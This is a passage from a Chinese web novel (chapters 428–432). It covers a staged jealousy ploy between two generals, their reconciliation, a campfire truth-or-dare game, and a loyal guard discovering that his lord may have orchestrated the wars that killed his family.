“好嘞!”云琛笑应一声,随即驾马狂奔。
第428章 吃醋
一刻钟后,吞云兽载着云琛,屠狼驹驮着霍乾念。
两道身影远远交汇,马蹄四足离地犹如飞起,向彼此飞奔而去。
可真快奔到眼前了,两人又不约而同停了下来,望着对方一个劲儿地傻笑,谁也不开口说话。
这令两边围观的将士们一头雾水:
“这干嘛呢?冲上去抱啊!啃啊!光看有啥用?”
“你懂个屁,那叫眉目传情!”
“也可能是不好意思吧?”
“我没事啊!我好意思看呢!”
“我特娘是说他俩不好意思!!”
将士们交头接耳,嬉笑议论,有大胆子的还吹起口哨。
最后,伏霖和段捷看不下去了,先遣散周围将士们去为回京整队准备,然后隔空朝对方使了个眼色。
伏霖悄悄从后狠推云琛一把。
段捷则在屠狼驹屁股上狠狠拧了一下,疼得马儿载着霍乾念窜出去老远。
这么你往前一步,我往前一窜,小两口的距离又拉近了许多。
近到霍乾念已可以清楚地看见云琛眉若远山,眼若秋水,她轻轻低头,睫毛微微上翘,笑得那样娇美又可人,耳朵尖红彤彤的,看着极想让人嘬一口。
云琛率先鼓起勇气,有点紧张地深呼吸,声音娇颤地叫了声:
“阿念……”
那音调带几分小女子的幽怨,又颇有些撒娇的意思在里头。
就连云琛自己都愣了一下,没想到能从她嘴里发出这么肉麻的声音。
霍乾念则听得心神一阵酥麻,正想不管不顾地冲上去抱住云琛,却听身后段捷一阵猛烈咳嗽,装得比放屁还自然。
他一下想起段捷精心准备的“馊主意”,硬生生忍住动作,只学着云琛的样子,也简短地唤了一声:
“琛儿。”
云琛害羞地笑,刚想再说话,却见一辆华丽的马车从不远处缓缓驶来,一看就是和狮威军一起来的。
马车停在不远处,一只柔若无骨、戴着羊脂玉镯的秀手从车帘后探出,柔柔的女音也随之而来,唤了声:
“霍将军。”
霍乾念立即翻身下马,小跑到马车边,动作自然又熟练地抬起胳膊,任由那秀手搭在上面。
紧接着,一姿容丰韵的女子弯身而出,袅袅婷婷走下马车。
霍乾念的胳膊宛如最忠心的卫士,一直紧紧贴护在那女子身边,小心搀扶呵护。
望着这一幕,云琛整个人愣在原地,脸上所有笑容都僵住了。
她身后的伏霖则头疼地捂住了脑袋,怒视向对面正傻缺一样偷乐的段捷,用口型骂问:
“你特娘出的馊主意??”
一旁的罗东东和荣易则疯狂憋笑:
“你瞅见老大脸色了没有?”
“白得跟鬼似的!”
“哈哈哈哈哈!”
在云琛惊愣的眼神中,霍乾念扶着那女子缓缓上前,没有先对云琛解释,竟然先对身旁女子介绍道:
“惜惜,这是云琛。”
云琛目瞪口呆:
云……琛?
云琛???
阿念他叫我云琛???
云琛这厢还没从山崩地裂中缓过神,就听霍乾念又对众人道:
“我在北境作战时,有一次情况危急,被敌军追击深入密林,幸得惜惜路过,施以援手,日夜照拂数日,才令我躲过一劫。”
霍乾念将“日夜”俩字咬得极重,说完,一脸恳切地看向云琛,语气有些央求:
“琛儿,惜惜在战乱中失去家人,已是无父无母的孤儿,除了我,她已无人可依靠。琛儿,惜惜是个好性子,最是柔弱良善,你能善待她吗?”
“我……”云琛惊得嘴巴都合不上,说不出话。
这时,那惜惜款款上前,端的一副我见犹怜的姿态,朝云琛柔柔施礼,泪眼楚楚道:
“云将军,求您容我。”
这下,云琛就是再石头疙瘩,也明白过味儿了。
霍乾念这是……变心了……
保不齐还想脚踏两只船!
说不定,已是看上那惜惜,瞧不上她云琛了……
想到这里,云琛脸色一阵青白,嘴唇也煞白发抖。
这表情把霍乾念吓坏了,登时头皮发麻,一把撒开什么稀稀干干的,冲上去就要抱云琛,急道:
“琛儿你别气!逗你的,吓唬你的,不是真的!我错了,你不要生气!”
可惜云琛此刻震惊得神思恍惚,什么也听不见看不见,只脸色惨白,眼眸含泪,喃喃说着“好,那你就与你心爱的惜惜成家吧......”随即大力勒马而去。
这一下急得霍乾念撒丫子狂追,跑出去几十丈,才想起来自己有马,又慌忙掉头去牵马,嘴里还大喊着“琛儿我错了!”没命地追了上去。
众人站在原地面面相觑。
伏霖直接被这一幕气笑了,活动着手腕朝段捷走去,咬牙切齿:
“你出的馊主意是吧??我今天不把你这傻逼打得叫妈,都白瞎我为云琛画了半个时辰的妆!”
甚少见伏霖吃人一样的表情,段捷吓得到处躲,连忙解释:
“不是!等等!不怪我啊!谁让云琛移情别恋喜欢什么清玄小相公!她先变心的啊,弄的姓霍的没命嗷嗷哭啊!我这不是想个法子让俩人和好吗?不是说吃醋有益身心!嫉妒催化爱情吗?”
“云琛可能变心吗??早他妈认出霍乾念了!你当她傻啊?!”伏霖大吼一嗓子,挥着拳头朝段捷而去。
另一边,见霍乾念已经破防追云琛而去,自己不必再演了,惜惜一屁股跌坐在地上,全无方才一丁点柔弱美人的姿态,甩着帕子直扇风,抱怨道:
“累死老娘了,就一个下马车,两句台词,练了我半个月!要不是看在金子的份上,我才不接这棒打鸳鸯的缺德差事呢!”
罗东东这下才算看懂,恍然大明白地“噢——”了一声:
“原来如此,霍将军误会云将军变心,就假装自己变心来刺激云将军的心?现在刺激得太刺激了,又追着哄去了?讲真,一般脑子里没二两水,都想不出这么馊、这么贱的主意。”
说完,站在他身边的荣易没有像平常一样积极捧哏,罗东东非常不习惯,转头找人,却见荣易已不知什么时候窜到了惜惜身边,正对着美人嘘寒问暖:
“惜惜姑娘到底怎么认识霍将军的?”
惜惜上下打量荣易,眼神微亮,眉梢眼角溢出风情,戏腔笑道:
“小女子南曲班子卖唱的,霍将军十两金雇我来配合演戏,说是为了让他家夫人吃醋。”
“那姑娘这一路舟车劳顿过来,累坏了吧,在烟城休息几日,再走吧?”
“好呀,就怕爷嫌弃我,脏了爷府上的地砖。”
“怎会?你若嫌脏,那就在榻上待着,别下来呗。”
“哎呀,那人家一个人待着害怕呢!”
“那我陪你,好不好?”
听着二人无比暧昧的对话,瞧着那郎有情妾有意的眉来眼去的架势,几乎是一眨眼的功夫,荣易就将惜惜拿下,罗东东整个人都呆了,心说:
荣易啊荣易,论泡妞,你称第二,没人敢当第一啊!
第429章 围炉夜话
话说云琛驾马绝尘而去,霍乾念狂追不止,抽的屠狼驹呲牙咧嘴才追上。
他直接横马过去,撞上吞云兽马身才拦停,也令云琛猛刹不及,整个人就要跌下马。
霍乾念飞扑出去抱住云琛,就地在草丛里打滚,扑起遍地蒲公英纷飞如雪,这才发现二人跑得太急太远,竟跑到一处无人的矮坡。
云琛这下是真伤心伤透了,任霍乾念怎么解释,她都听不见似的,整个人呆呆愣愣,直接将霍乾念吓得语无伦次起来:
“琛儿你醒醒!你认得我吗,我是阿念啊!你的阿念啊!你耳朵更严重了吗?为什么听不见我说话?琛儿我错了我真的错了!我发誓以后再也不做这样的事了,看你方才那样伤心,我心都碎了,琛儿你原谅我!”
他将云琛抱在怀里胡乱吻了又吻,又哄了好半天,她才仿佛找回一些神智,傻傻看进他焦急的眼睛,低落道:
“我耳朵好多了,没想到......好了以后,听到的第一件事情,是你看上惜惜了......”
一听这话,霍乾念头皮都炸了,差点当场发疯,狠狠抱住云琛,哽咽道:
“对不起,琛儿,我真的错了......从今以后,你不要清玄,我不要惜惜,我只要你!你只要我!好不好?”
说完,他依旧紧紧抱着云琛,生怕只要一松手,她就又要从他身边溜走了。
直到她轻轻回抱住他,他才彻底绷不住,身子微微颤抖,额头抵在她肩膀,眼眶里的湿漉漉溢出来,湿掉了她的肩头:
“琛儿,我们一百四十七日没有在一起,对我来说......好像一百四十七年那么长......每日打仗、处理军务、没完没了地去战斗,一旦安静下来,我就好想你......”
云琛亦泪水涟涟,轻声回应:
“我也是。阿念,我很想你。”
得到这个答案,他终于舍得松开手。
两人彼此泪眼相望,再有千言万语,也不如一吻真切。
他轻轻去吻她的眉,她的眼,吻去她睫毛上颤抖的泪水,亦将自己的泪落在上面。
就这么吻着吻着,一开始,气氛还是伤感又幽怨的。
但不知吻到哪里,吻了多久,气氛很快就不太对劲了,两个人的呼吸就都粗重起来,双双倒在毛茸茸的青草地上,缠绕得难舍难分。
情到浓时,他停下来,俯身笼罩着她娇软的身子,用才刚刚拭去眼泪、还红着眼圈的凤眸,有些幽怨地看着她:
“琛儿,这次你看仔细了,我不是清玄,我是你的阿念。”
她脸颊绯红,嘴唇微肿,透出娇艳欲滴的颜色,吸吸鼻子,轻声笑起:
“你不是阿念,你是小狗。”
“嗯?”
“不是要和我两年后才见面嘛?荣易说了,谁先反悔,谁是狗,你那快一百封上书,着急要会师回京,可不就是‘反悔的小狗’?来,叫一声听听,姐不白听昂,姐给钱的——”
“哈哈......”他笑了两声,表情纠结了一会儿,终是将脸埋在她胸口,低低“汪!”了一声。
那声音嗡嗡有力,震得她胸口直发痒,忍不住咯咯笑起来:
“原来我家阿念不只会弹琵琶,还会小狗叫呀!”
一说琵琶,某人又想起在象姑馆那一幕,不高兴地说了句“那天太误会了,以为你喜欢清玄呢,我都没好好感受一下,今儿给我补上!”
霍乾念说完,云琛愣住,好一会儿才明白他说的“没好好感受”是指什么,登时羞得捂起脸,直往他怀里躲:
“那天是酒色壮胆,今天不行不行,我不行......”
她连连告饶,可他怎能放过这四下无人、只待鸳鸯两情缱绻的好机会,直接滚烫的身体覆上她,揽住她后颈深吻了上去。
汹涌欲念再次席卷全身,他很快变得急切又贪婪,怎么都吃不饱,尝不够,怀里的人儿那样软,香得勾人心魂不说,每一声旖旎都差点剥夺他全部理智。
等他终于舍得停下来的时候,只见云琛雪白的肌肤上到处都是粉红吻痕,一双小鹿眼睛水灵又明净,看得他身子一阵阵发紧,声音暗哑道:
“琛儿,我猜,若不小心将你弄哭,你的眼睛一定好看得要命......”
她眨巴眼睛,并不明白:“什么意思,为什么要将我弄哭?”
他用灼热的胸膛贴上她肌肤,搂住她,在她耳边暧昧低笑:
“总有控制不住,停不下来,不小心将你弄哭的时候呀......那样的琛儿,一定恼得要哭,可不就好看得要命......”
她这才明白过来他的意思,脑袋里不由自主浮现那画面,登时羞得耳鸣心跳,直捶他胸口,惹得他大笑两声,随即一把捉住那小手往怀里探去,再次覆身压来......
“好琛儿,我保证留到新婚夜再欺负你,现在让我尝一口,就一口……”
……
……
两个时辰后,天色将黑,在将士们起哄的“哟哟”声中,霍乾念和云琛手拉着手回来了。
瞧见两人终于和好,狮威和虎威的主心骨终于又牢牢相依,将士们简直比自己娶媳妇还高兴,热闹地欢呼吹口哨。
段捷将鼻青脸肿、猪头一样的脸凑过来:“嘿嘿,我就说,我这馊主意还行吧。”
伏霖气哼:“白瞎了我那么好的妆,全哭花了。”
荣易眼尖地瞧见云琛脖子上使劲遮掩的香艳痕迹,接话了:
“不对吧,应该是一小半哭花,另一大半都在霍将军肚子里了吧!”
“哈哈哈哈——”众人哈哈大笑。
罗东东趁机提议,说难得团聚,说什么也要不醉不归一场,撺掇着搞个围炉烤肉啥的。
众人你找炉子我搬桌凳地忙活起来。
云琛这才发现叶峮不在。
想到冷落霍乾念时,也连带着冤枉了叶峮,云琛心里歉疚,一路打听找去,正见叶峮在小厨房里切肉、切菜,忙得热火朝天。
所有将士们都在为两军会师高兴,互相寻找许久不见的好兄弟叙旧。
唯独叶峮孤单一人。
整个狮威军和虎威军,全都是兄弟,却也全都不是他的兄弟。
如今,荀戓、小六、花绝已去,不言请辞离开,在京都皇宫做了御前侍卫总管。
当年意气风发的六个亲卫,如今只剩叶峮与云琛了。
曾经幸福美满的小家,如今也只剩叶峮孤家寡人一个,只等为妻儿报了仇,再去黄泉团聚。
看着叶峮背对她,伏在案板上揉面,花白的头发随动作轻微颤动的样子,云琛心里特别不是滋味,小声喊他:
“叶哥。”
叶峮闻声回头,就像从不曾与云琛有过嫌隙似的,宽和地笑了一下:
“猜我干啥呢?嘿嘿,和面给你包饺子!酸菜馅儿的,等着啊!”
云琛赶紧挽起袖子上前要帮忙,叶峮却用沾满面粉的手背推她:
“去去去,坐一边儿等着就行,尝尝我的手艺。虽然不如你嫂子做得好吃,但肯定比军营里的大锅饭强,哈哈……”
云琛只好老老实实搬了小板凳,坐在旁边看叶峮忙活。
“叶哥,你瘦了好多。”
叶峮手里忙活不停,又“嘿嘿”一笑。
“瘦了好,瘦了不用做新衣裳。”
是不用做新衣裳了呢?还是已没有爱妻在旁照顾,没人做衣裳了呢?
这答案不用说,云琛都明白。
“叶哥,对不起。”
她其实不知道自己为什么道歉,就是莫名觉得对不住叶峮。
叶峮咧咧嘴,故作滑稽地搓了搓身上鸡皮疙瘩,“别来这套,太肉麻,我可受不了!”说着从锅里捞起一碗圆滚滚的饺子,盛进大碗,端给云琛,笑道:
“快吃,围炉烤肉还得等一会儿呢,你肯定饿不住,先吃碗饺子垫垫。”
云琛接过热乎乎的碗,却捧着不动,盯着碗里的饺子不说话,光愣神。
叶峮拿手在她眼前晃了晃,“咋了?心情不好?埋怨我刚才没和段捷他们一块去迎你?傻阿琛,不是我不去,是段捷那馊主意太缺德了,我见不得你伤心。”
他说完,云琛摇头,仍旧不说话,视线也依旧在饺子上。
叶峮叹口气,又道:
“梅花破月玉佩的事,我一点都不怪你,阿琛,换我也一定气得要死,管发心如何?欺骗就是不对!所以,你能原谅少主,也原谅我,已经很好了。阿琛,有些事别去深究,慢慢忘了才最好。”
见自己话已经说得这么透了,云琛还是低着头不说话,叶峮心里有点紧张,赶忙去推她肩膀,使劲弓腰歪脑袋去看她表情:
“阿琛,你咋了?出啥事了吗?”
然而云琛只是捧着碗抬起头,看了叶峮好一会儿,才露出个傻笑:
“叶哥,饺子没熟,面还是白的呢!”
叶峮松了口气,拍她脑袋一下,笑骂:
“你小子!”
第430章 秘密
叶峮说得对,有些事,不可深究。
人生在世,糊涂最好。太聪明的人,往往活得最痛苦。
云琛在厨房垫完夹生的饺子,打着酸菜嗝,拉着叶峮加入了刚刚准备妥当的围炉烤肉。
伏霖和段捷忙着烤肉,硕大肥厚的肉片在铁板上滋滋冒油,香气勾得人食指大动;
罗东东忙着烧柴点火,仅剩的一条胳膊倒腾不停,倒比旁人两条胳膊还利索;
荣易则和惜惜一起张罗倒酒,荣易不时靠近惜惜耳边说些什么,惹得美人儿笑得花枝乱颤。
霍乾念向来不与下属平坐在一起吃喝说笑,一个人去主帐里看军务了。
众人其实也挺怕他在场。除了对云琛,霍乾念从来都是一脸不苟言笑的深沉莫测的样子,经常搞得气氛严肃又紧张。他若在,这围炉烤肉反而无味。
眼下没有上级束缚,众人不免有说有笑,吃喝尽兴。
在惜惜这等精明有眼色、玩得开但又有分寸的人物带领下,气氛越来越热络。
待天色黑透时,众人都有点喝高了。
惜惜顶着微醺的漂亮脸蛋,招呼众人靠近些,神神秘秘笑道:
“来玩点有意思的,如何?”
“行酒令吗?”荣易问。
惜惜摆手,从衣袋里摸出枚骰子,脸上透出狡黠笑容:
“玩‘吐真言’吧,每人掷一次骰子,点数最多的,可问点数最少的人一个问题,被问的人必须口吐真言,绝对诚实回答,若不回答,便要挨罚,如何?”
听起来挺有趣,众人附和加入,接连开始掷骰子。
第一轮下来,段捷掷了七点,罗东东掷了一点。
两个大男人你瞪着我,我瞪着你,憋了半天也不知道问啥。
最后段捷冒出一句:
“你......一条胳膊,生活方便吗?平日有没有什么困难?”
这是什么无聊又官方的鬼问题!
众人嚷嚷没意思,叫惜惜示范一下,问什么才有趣,惜惜掩嘴笑道:
“那就问,罗将军只剩一条胳膊,疼姑娘的时候忙得过来吗?怎么忙的?”
这话一出,众人脸全红了,连连惊呼倒吸凉气。
叶峮直接把云琛耳朵捂住了。
段捷则冲惜惜竖起大拇指,顶着大红脸道:
“惜惜姑娘女中豪杰,在下佩服!”
众人甚少与惜惜这样的女子打交道,怎知一个姑娘若在戏班子里长大、市井摸爬滚打,偏得这样生猛才吃得香。
罗东东回答不上这问题,脸都快憋紫了,才来了一句:
“俺不知道,俺还没那啥过呢......”
众人愣了一下,瞬间哈哈大笑,臊得罗东东差点把头埋到脚脖子里。
接着第二轮,惜惜掷了八点,荣易两点,惜惜笑问:
“敢问荣将军包括妻妾、相好,一共有过多少姑娘?”
这问题一出来,众人全乐了。
叶峮笑道:“这问题要是答不上来,不怪荣将军,因为他想数也数不清啊!”
“哈哈哈哈哈——”
感觉到惜惜这问题下的试探,荣易可不想让这么个小美人从手里跑了,只能无奈笑笑,提起酒壶:
“我喝酒行吧?答不上挨罚呗,谁怕谁呀!”
惜惜却秀手捂住壶嘴:“罚什么得由我说了算,荣将军既答不上来,那就罚你——”
惜惜扫视众人,眼珠子滴溜溜一转,落定在伏霖身上,掩嘴玩笑道:
“就罚你去亲伏将军一口吧——伏将军看着像喜欢男人的,哈哈哈——”
众人都跟着大笑起来。
见伏霖表情不善,大骂一句“胡说八道!”像是要逃跑的样子,段捷眼疾手快将人摁住,使劲招呼荣易:
“快来快来!”
荣易忍住胃里翻涌作呕,内心在“坦白有多少个相好但要失去惜惜”与“亲男人?好恶心!”之间来回摇摆。
最终他心一横,灌下一大碗酒,豪气冲天地吼了一嗓子“来了!”,朝伏霖大步走去,吓得伏霖直接将段捷掀翻在地,边骂娘边跑远。
这一幕逗得众人笑弯了腰,云琛眼泪都笑出来了。
这时,惜惜拉住云琛的手,惊喜地瞧着第三轮骰子上的一点,一脸终于要阴谋得逞的贼笑:
“云将军,这轮你点数最少哦!”
一下子,所有人的目光都聚到了云琛身上。
大家下意识觉得没什么问题好问的。
毕竟云琛那样一个纯白干净的性子,除了已天下皆知的女扮男装的秘密,她还能有啥刺激的?
“不不不。”惜惜轻摆食指,眼神示意向霍乾念所在的主帐方向,“云将军没有秘密,霍将军有呀,他秘密指定不少。”
段捷嘴巴动了动,没有说话,叶峮佯装严肃:
“惜惜姑娘,我家少主的秘密确实多,但都事关重大,可不敢胡乱打听。”
“嘁!”惜惜挥了下帕子,“谁对那些感兴趣呀!”
她说着倚在云琛身上,笑得暧昧:
“我感兴趣的是,云将军,你与霍将军两情相悦这么久,该干的‘坏事’应该都干了吧?”
“没有没有!”云琛生怕惜惜问出什么虎狼问题,吓得连连摆手。
叶峮也赶忙上来解围,结果还没来得及说话,惜惜已问出口:
“云将军就说说,霍将军身上有什么隐秘的、常人不知道的特征——比如胎记吧?”
这问题好像……不算下流,最多擦边,可以问。众人如是想。
叶峮翻着眼睛回忆了半天,“少主从前坐轮椅时,我时常与润禾侍候他洗澡来着,光记得好白好白,好像不曾有什么胎记。”
“其实有的……”云琛脸红的赛螃蟹,小声说了一句。
众人一下来了兴趣,都生出使坏的劲,围着云琛催促快说:
“啥胎记?长在哪里?”
“什么形状的?”
“什么颜色的?”
“你咋看到的?嘿嘿,还说没干坏事?”
云琛被众人闹得心慌,用求救的眼神看向惜惜,后者却坏笑:
“云将军别看我,若答不上来,就罚你现在去抢了霍将军裤子来,哈哈哈,要不要吐真言,你自已选哦!”
没办法,云琛只能借着酒劲,捂着发烫的脸颊,小声道:
“他大腿根内侧有一个胎记,像小蛇的形状,红色的,是我初入霍帮的时候,不小心撞见他洗澡,在水里瞧见的……不过现在已经没有了,后来一次遭玉家刺杀,挨了箭伤,如今只剩疤痕了。
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”
“乖乖……”叶峮感慨:“大腿根内侧?那地方谁能轻易看见?估计润禾都没见过。”
荣易睁大眼睛,“老大你确定没看错?是蛇形的胎记?不是那啥吗?”他挠挠头,一本正经地思考:
“不对呀,就算看错,霍将军那身板,瞧他那高鼻梁,那大手,又宽又长的虎口,肯定不会是‘小’蛇!应该是‘大’蛇!”
“啊别说啦!”云琛脸爆红,捂着耳朵要跑。
叶峮和段捷大骂“要死啊你!酒喝多!嘴不把门了是吧?”冲过去将荣易一顿揍,给旁边的惜惜笑得前仰后合。
众人嬉笑打骂闹作一团,笑声响彻夜色,也传进了主帐。
与外间热热闹闹的气氛截然不同,霍乾念的主帐里,空气像是已经深冬那样阴冷。
霍乾念坐在将军座上,一身**袍流纹缎彩,上绣的狰狞**身姿态昂扬,被烛火照耀得像活了一般,细碎的光纹恰落在**身四周,宛如添了利爪,看起来竟似龙形。
他展臂靠向椅背,锋利的轮廓隐在烛光照不到的阴影里,只露平直向下的唇角,与犀利的凤眸眼尾互为呼应,映出眼中星火冷峻,如淬冰的寒刃。
伏霖长身立在他对面,抱着胳膊,一脸平静地复述他杀崧蓝的情景。
霍乾念听罢,没有什么特别的表情,只问:
“她的住处搜过了吗?可有处理妥当?兹事体大,万不可心慈手软留下后患。”
伏霖点头,“借口将云琛的金银细软捐赠给学堂的孤儿,都去过了。也安排了人模仿苏菘蓝的笔迹,以后定期写信寄去苏家。但估计瞒不了太久,苏家势力不小,不会放任嫡长女一直流浪在外。”
“不妨,等瞒不住的那天,也是不必瞒的那天。”霍乾念说。
伏霖明白这话的意思,等瞒不下去的那天,便是天下易主而不必瞒的时候。
可他第一次没有感到踌躇满志,也没有迫不及待去翻天覆地的冲劲,而是不自觉朝帐篷外云琛的方向看了一眼。
云琛的笑声那样快乐单纯,伏霖莫名心里发慌,替霍乾念感到害怕——怕再也听不到这样的笑声。
大概是伏霖这么多年,太习惯于隐藏和伪装,霍乾念并未察觉到他这份情绪。
“黑市那种地方少去,若再遇到认出你的旧相识,再‘失手杀死’,只怕不妥。”
“知道了。”
“那虎牙**少叫人看见吧,太显眼。也嘱咐段捷,别叫人看见他那把。”
“嗯,是我疏忽了。当年狮威军穿越防线,我领义军去作战时,以为必死无疑,才用**留了遗书,没想到能活下来。以后我会小心。
对了,那块臼齿吊坠呢?听云琛提过,你收在私库了吗?记得偶尔拿出来润润油,不然只怕要干裂,到时候,姓庄那小子肯定又要不乐意。”
“嗯。”霍乾念应了一声,又道:“你回去吧,离席太久易令人生疑。”
伏霖顺从离去,临出帐子又停下脚步,回头看向霍乾念,后者已重新拿起军务文书在看。
犹豫了一下,伏霖忍不住说了句:
“你......别太累了,日子长着呢。”
霍乾念头都没抬,随意地“嗯”了一声。
第431章 崩塌
“叶哥,你有心事。我总感觉,你好像要离开我们?”
“傻阿琛,放心,我不会请辞。等看着你和少主完婚,了却这最后一个心愿,我会请长假,将手头统管霍帮的事务放一放。”
“然后呢,你要去哪里?”
“去找焦左泰。仗打完了,剩下那点黑鳞骑兵畜生们在楠国边境外,躲得躲,藏得藏,暂时不必理会。但焦左泰这个人,我一定要找到,亲手杀了他。”
“那叶哥,等成完婚,我与你同去。”
“不啦,你安心等着生小少主吧,这辈子都别再犯任何险,再别为我受伤。我的私仇,我自己报。”
“不行!我一定和你同去!”
“阿琛,生死有命,天已定。”
两军会师回京的路上,云琛和叶峮并肩行路,像话家常一样,轻声交谈着这沉重的话题。
面对叶峮的坚持,云琛不再反驳。
她知道叶峮看似温和从容,仿佛世上什么困难都打不到他,连失去妻儿的痛苦都能和着血泪咽下,重新站起来。
实则他孤独又悲伤,没有一天忘记过失去妻儿的悲愤。
报仇这件事,他既然说出口,一定已经提前在心里计划过千百次。
很可能等她与霍乾念成婚,叶峮就会喝完喜酒,放下酒杯悄悄离开,孤身踏上复仇的险路。
想到这里,云琛心里暗自打定主意,她一定要想法子与叶峮同去,不让他一个人冒险。
她怕叶峮一去不回,更怕他复仇之后,所有意志溃散,会一时想不开,寻短见。
她想与霍乾念提前商量下这事,抬眼往四周寻去,到处都是两军的将士们,有的骑马,有的结伴步行,乘着林子里的阴凉惬意,边走边聊。
霍乾念在前方不远处,正与段捷和伏霖并肩而行。
“叶哥,我去找阿念一趟,马上回来。”
云琛对叶峮说了这么一句,然后飞快地向霍乾念跑去,半路却被突然窜出来的荣易和罗东东拦住,非要扯着她评评理,说清这几年来,到底是荣易杀的黑鳞骑兵多,还是罗东东多。
见俩人吵得脸红脖子粗,快要掐架,云琛无奈:
“我听了半天,你俩就为十一个杀敌数量的差距在吵?这样,我说句公道话,一人五个半,算你俩杀敌一样多,行不?”
“那怎么行?!”荣易和罗东东异口同声,“哪有半个黑鳞骑兵的?!”
云琛哭笑不得,“那把我的杀敌计数匀一些给你俩,一人匀二百零五个,行不?两位大爷,消停会儿吧!”
“二百个?”荣易和罗东东一听,眼睛都亮了。
云琛已经是大将军,杀敌数少四百个也无妨,倒是荣易和罗东东,要是一人多二百个,等回京论军功的时候,军级不会涨,但俸禄会涨啊!白花花的银子谁不喜欢!
一听有这等好事,刚才还吵得不可开交的俩人,又凑在一起开始算银子,弄得云琛无奈好笑,连连摇头。
与此同时,叶峮那边,在云琛离开后,他继续独自行路,目光落在前方正与段捷、伏霖并肩而行的霍乾念身上。
三人看起来像在闲聊,霍乾念脸上是少有的轻松愉快的神态。
叶峮向来与霍乾念同喜同忧,不觉也露出笑容。
作为永远站出来收拾局面、稳定所有人情绪的那个人,叶峮只要站在那里,就是令人内心安定的。
就像后背有墙那样坚实可靠。
但他的内心,却很少有人去探寻。
作为霍乾念身边相处最久、最信任的大亲卫,叶峮心中的信念坚固,对霍乾念的忠主情谊之深,早已远远超过所有人。
这一切,既来源于骨子里的品性,更来自那个他几乎信仰为神的少主——霍乾念。
在痛失挚爱妻儿后,叶峮不是没想过一**之,只是每每看着霍乾念,他就又放不下了。
忠卫易寻,明主难得。
那么好的主子,叶峮怎忍辜负?将一大摊子霍帮事务扔下不管?
想着先留下来吧,活一天算一天,不知不觉,已经快一年。
叶峮心中兀自感慨,不禁一直望了霍乾念三人许久。
不知道段捷说了句什么玩笑话,伏霖突然从地上抓起一条红色小蛇,嘻嘻笑着,往霍乾念裤裆比画过去。
霍乾念挑眉轻笑,踹了伏霖一脚。
叶峮看到这一幕,忍不住摇头发笑。
没想到霍乾念、段捷和伏霖,三个大男人都二十多岁了,还跟毛头小子似的,爱拿这种法子捉弄对方,就像......
就像......他们自小相识。
自小,就这样顽皮地捉弄过对方无数次。
叶峮慢慢停下脚步,目光狐疑再看。
伏霖已将那条红色小蛇扔掉,可叶峮却猛然想起昨夜围炉烤肉时,云琛曾说过的话:
“他大腿内侧有个胎记,像红色小蛇的形状......不过早都没有了,如今只剩一道疤痕。”
叶峮反复念了两遍这句话,一种前所未有的阴冷慢慢从脚底涌上心头。
他呆呆杵在原地,满脑子只有一个问题:
伏霖刚才那玩笑架势,分明是知道霍乾念大腿内侧胎记的!
可那胎记连贴身伺候了十几年的
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叶峮和润禾都不知道!且早已因箭伤消失!
伏霖这个去年才加入的原义军首领!一个后来的陌生人!他怎么会知道?!
除非——
叶峮如遭雷击般怔在原地,整个世界轰然崩塌,天地倒置又疯狂旋转,耳边像有巨兽在咆哮,发出震碎心房的轰鸣。
“叶哥,你偷偷记着。神虎少了两颗獠牙、一颗臼齿。”
不言断舌前的最后一句话,像最尖厉的长矛,自那阴暗深渊里直直射出,将叶峮血淋淋地洞穿,定在地上动弹不得。
霍乾念从不轻易示人、深藏私库的虎骨吊坠,叶峮从前见过一次。
伏霖的虎牙**。
那段捷……是不是还有一把?
结拜兄弟,神虎拔牙,双双赐死。
天牢里偷天换日。
宥阳之地隐姓埋名。
接着战争,死亡。
英雄,赞歌……
再结合段捷当初无意间说漏嘴的那句“我从小到大第一次见他哭。”
种种,种种……
无数细节宛若锋利碎片,从四面八方蜂拥而来,织成密不透风、足以刮净血肉的天罗地网,将叶峮紧紧缠绕,缚得他无法呼吸。
难怪不言会“背叛”请辞,原来他早就从那神虎断齿猜到了一切。
若伏霖、段捷是霍乾念的旧相识,是情比金坚的结拜兄弟。
那么从固英城围困之战开始,暴风求援,穿越防线,北伐全军覆没,北上勤王救驾,幽州决战……
一切都是精心设计出来的……吗?
而为这所有“设计”连累死去的人们,包括花绝,包括他叶峮的妻儿!还有那千千万万将士和老百姓!都只是无关紧要的炮灰??
叶峮浑身瘫软地跪倒在地,倚靠着树干才不至于晕厥。
明明身体完好,他却感觉每一寸血肉都已被无情扎穿,浑身都是血洞,呼呼地灌着令人绝望的寒风。
“少主,原来……你从未真正信任过我……为什么……为什么不信我啊……”
“原来而今天下乱战一发不可收拾,里面有几分你的手笔?你图谋霸业可以告诉我啊!!我定为你赴汤蹈火!!可那么多无辜性命,包括我妻儿的性命……又该算在谁头上呢……我的孩子,你见过他们死时候的样子吗?”
“少主,我什么都没有了啊……”
“少主……少主啊……”
叶峮眼神呆滞,定定望着空中虚无,眼神破碎无光,一遍遍重复着“少主”两个字,最终拼命昂头,引长脖颈,发出悲彻云霄的痛苦嘶嚎:
“啊——”
“啊——”
第432章 绝不后悔
两声突如其来的凄厉嘶嚎,绝望,心碎,委屈,又怨恨。
惊得林中鸟群纷纷振翅,发出尖锐的鸣叫,亦令将士们惊讶回望。
是谁?
将士们好奇,认不得那声音。
只有刚摆脱荣易和罗东东的云琛听出来了,是叶峮的声音。
那声音太过惊悚,叫她面色一变,拔腿就往回冲。
远远的,她看见叶峮靠坐在树旁,耷拉着肩膀,垂着头。
她不过离开一小会儿的功夫,叶峮却突然像变了个人似的,像被什么恐怖无形的力量抽走了所有生气,整个人变得干枯又易碎。
他那远原本已花白的头发,只眨眼时间,竟变得几乎全白!
云琛一边跑过去,一边不停揉眼睛,以为自己看错了,或是听错了。
周围什么敌人也没有,叶峮怎么会突然变成这样?
几个将士关切地围着叶峮,可不论问什么,叶峮都低着头不回答,将士们只能无奈地看向匆匆跑来的云琛。
“叶哥!叶哥!”短短几步路,云琛跑得太急,有些气喘。
面对云琛,叶峮终于有了些反应。
他抬起满是泪痕、灰败的脸,扯起一个比鬼哭还难看的笑容,愣愣地看了云琛好一会儿,没头没尾地说了句:
“阿琛,你怎么办呀……”
简单一句话,其中语气却悲伤无助到了极点。
围观的几个将士知道叶峮和云琛的交情,估摸两人有话要说,自觉陆续离开。
云琛也向不远处亲自走来查看的霍乾念和伏霖打了个手势:
“没事,周围没有埋伏,一切安全!”
叶峮一直看着云琛,知道她在冲谁说话。
可他已没有勇气扭头去看,只是用溢满泪水的眼睛,直直望着云琛,声音嘶哑,一遍遍哀伤哽咽:
“阿琛啊……阿琛啊……你该怎么办啊……”
将来,你若像我一样知道真相,该怎么办啊……
这一句,叶峮说不出口。
